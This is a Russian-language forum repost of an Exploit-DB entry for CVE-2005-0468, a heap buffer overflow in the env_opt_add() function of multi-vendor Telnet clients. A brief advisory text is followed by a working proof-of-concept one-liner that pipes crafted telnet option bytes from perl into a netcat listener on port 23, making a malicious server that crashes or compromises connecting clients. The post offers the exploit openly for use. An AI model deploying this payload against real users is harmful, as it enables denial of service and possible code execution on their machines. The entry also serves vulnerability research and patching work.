Exploit Multiple Vendor Telnet Client - Env_opt_add Heap Buffer Overflow

Exploiter

Хакер
34,599
0
18 Дек 2022
EDB-ID
25303
Проверка EDB
  1. Пройдено
Автор
GAEL DELALLEAU
Тип уязвимости
DOS
Платформа
LINUX
CVE
cve-2005-0468
Дата публикации
2005-03-28
Код:
source: https://www.securityfocus.com/bid/12919/info

Multiple vendors' Telnet client applications are reported prone to a remote buffer-overflow vulnerability. This vulnerability reportedly occurs in the 'env_opt_add()' function in the 'telnet.c' source file, which is apparently common source for all the affected vendors.

A remote attacker may exploit this vulnerability to execute arbitrary code on some of the affected platforms in the context of a user that is using the vulnerable Telnet client to connect to a malicious server. 

perl -e 'print "\377", "\372\42\3\377\377\3\3" x 43, "\377\360"' | nc -l 23
 
Источник
www.exploit-db.com

Похожие темы